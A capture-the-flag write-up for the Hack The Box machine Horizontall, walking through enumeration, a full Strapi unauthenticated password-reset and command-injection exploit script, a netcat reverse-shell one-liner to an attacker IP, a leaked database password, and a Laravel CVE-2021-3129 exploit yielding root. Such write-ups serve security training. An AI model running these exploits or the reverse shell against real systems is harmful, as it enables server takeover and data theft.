HTB – Horizontall CTF

This was an interesting box where the objective was to use known vulnerabilites to gain access and to root the machine. The initial phase was kind of challenging as the foothold was kind of tricky to aquire.

Table Of Contents

Enumeration

The NMAP scan result show us that port 22 and port 80 is open. We can also see that the IP redirects to http://horizontall.htb, so we edit our hosts file and paste the domain.

# Nmap 7.92 scan initiated Tue Sep  7 20:26:52 2021 as: nmap -sC -sV -oN nmap.result 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  7 20:27:07 2021 -- 1 IP address (1 host up) scanned in 14.34 seconds

After alot of enumeration, and information gathering we find in the source code a subdomain.

methods:{getReviews:function(){var t=this;r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s){return t.reviews=s.data}))}}}

We edit the hosts file again and add the subdomain. Visting that webpage we get this

And visiting the subdirectory /reviews.

Using gobuster dir search against the subdomain we get some hidden subdirectories.

┌─[aghanim@ValgPC-0]─[~]
└──╼ $gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/10/19 21:20:34 Starting gobuster in directory enumeration mode
===============================================================
/Admin                (Status: 200) [Size: 854]
/admin                (Status: 200) [Size: 854]
/ADMIN                (Status: 200) [Size: 854]
/favicon.ico          (Status: 200) [Size: 1150]
/index.html           (Status: 200) [Size: 413] 
/reviews              (Status: 200) [Size: 507] 
/robots.txt           (Status: 200) [Size: 121] 
/users                (Status: 403) [Size: 60]  
                                                
===============================================================
2021/10/19 21:20:51 Finished
===============================================================

Foothold

Visiting /admin we find tha the Strapi version 3.0.0 beta 17.4. Visiting exploit-db we can find a RCE exploit for that version of strapi. Strapi have a vulnerability where it mishandles password resets. When resetting the admin password, there is another vulnerability in the Install and Uninstall Plugin components of the Admin panel. Because it does not sanitize the plugin name, and attackers can inject arbitrary shell commands to be executed by the execa function.

# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
    print("[-] Wrong number of arguments provided")
    print("[*] Usage: python3 exploit.py <URL>\n")
    sys.exit()


class Terminal(Cmd):
    prompt = "$> "
    def default(self, args):
        code_exec(args)

def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
    else:
        print("[-] Version mismatch trying the exploit anyway")


def password_reset():
    global url, jwt
    session = requests.session()
    params = {"code" : {"$gt":0},
            "password" : "SuperStrongPassword1",
            "passwordConfirmation" : "SuperStrongPassword1"
            }
    output = session.post(f"{url}/admin/auth/reset-password", json = params).text
    response = json.loads(output)
    jwt = response["jwt"]
    username = response["user"]["username"]
    email = response["user"]["email"]

    if "jwt" not in output:
        print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
        sys.exit(1)
    else:
        print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
    global jwt, url
    print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")
    headers = {"Authorization" : f"Bearer {jwt}"}
    data = {"plugin" : f"documentation && $({cmd})",
            "port" : "1337"}
    out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
    print(out.text)

if __name__ == ("__main__"):
    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]
    check_version()
    password_reset()
    terminal = Terminal()
    terminal.cmdloop()

The usage is python3 exploit.py URL. Exploiting the webserver we get a blind shell.

─[✗]─[root@ValgPC-0]─[/home/aghanim/Desktop/horizontall]
└──╼ #python3 exploit.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM0NzU3NDkwLCJleHAiOjE2MzczNDk0OTB9.JhxTdpLqPMSKSwqHhsKy80aljmyw0L_WNF5OvQ1sayY



[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output

As you can see this is a blind shell, where input does not yield any output. So we will set up a reverse shell and stabilize it.

In the blind shell console, type

$> rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.143 4444>/tmp/f

and on the attacker machine setup a netcat listener.

# nc -lvnp 4444 

We will now have a reverse shell.

Root

So after alot of enumeraiton, we find DB credentials in /myapi/config/environment/developments.json

strapi@horizontall:~/myapi/config/environments/development$ cat database.json 
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

I didnt get any information of value from the DB, so I checked what was running on the machine.

strapi@horizontall:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1831/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8999            0.0.0.0:*               LISTEN      2395/python3        
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -  

We can see that something is running on port 8000 and 1337. Since the firewall is blocking those ports we are not able to see what they host. We will have to port forward those ports in order to open them in the browser on our machine. To get SSH access, we will do the following:

  1. We will generate an SSH-key on our attacking machine and copy the public key to .ssh/authrozied_keys on the target machine with echo "pubkey" > authorized_keys.
  2. No we will be able to SSH into the target machine using our newly generated key. To portforward use the command ssh - i id_rsa -L [bind_address]port:host:hostport] username@host
┌─[root@ValgPC-0]─[~/.ssh]
└──╼ #ssh -i /root/.ssh/id_rsa -L 8000:127.0.0.1:8000 strapi@horizontall.htb
The authenticity of host 'horizontall.htb (10.10.11.105)' can't be established.
ECDSA key fingerprint is SHA256:rlqcbRwBVk92jqxFV79Tws7plMRzIgEWDMc862X9ViQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'horizontall.htb' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Oct 20 22:10:27 UTC 2021

  System load:  0.08              Processes:           227
  Usage of /:   86.9% of 4.85GB   Users logged in:     0
  Memory usage: 49%               IP address for eth0: 10.10.11.105
  Swap usage:   0%

  => / is using 86.9% of 4.85GB


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Oct 20 21:59:48 2021 from 10.10.15.143
$ 

No we can try and visit port 8000 in our browser

There is a privesc vulnerability in laravel which allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). https://github.com/nth347/CVE-2021-3129_exploit#cve-2021-3129_exploit

Follwing the guide on github we can now run any command as root.

strapi@horizontall:/tmp/CVE-2021-3129_exploit$ python3 exploit.py http://localhost:8000  Monolog/RCE1 "id"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared
strapi@horizontall:/tmp/CVE-2021-3129_exploit$ 
strapi@horizontall:/tmp/CVE-2021-3129_exploit$ python3 exploit.py http://localhost:8000  Monolog/RCE1 "cat /root/root.txt"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

23........

[i] Trying to clear logs
[+] Logs cleared
strapi@horizontall:/tmp/CVE-2021-3129_exploit$ 

Similar Posts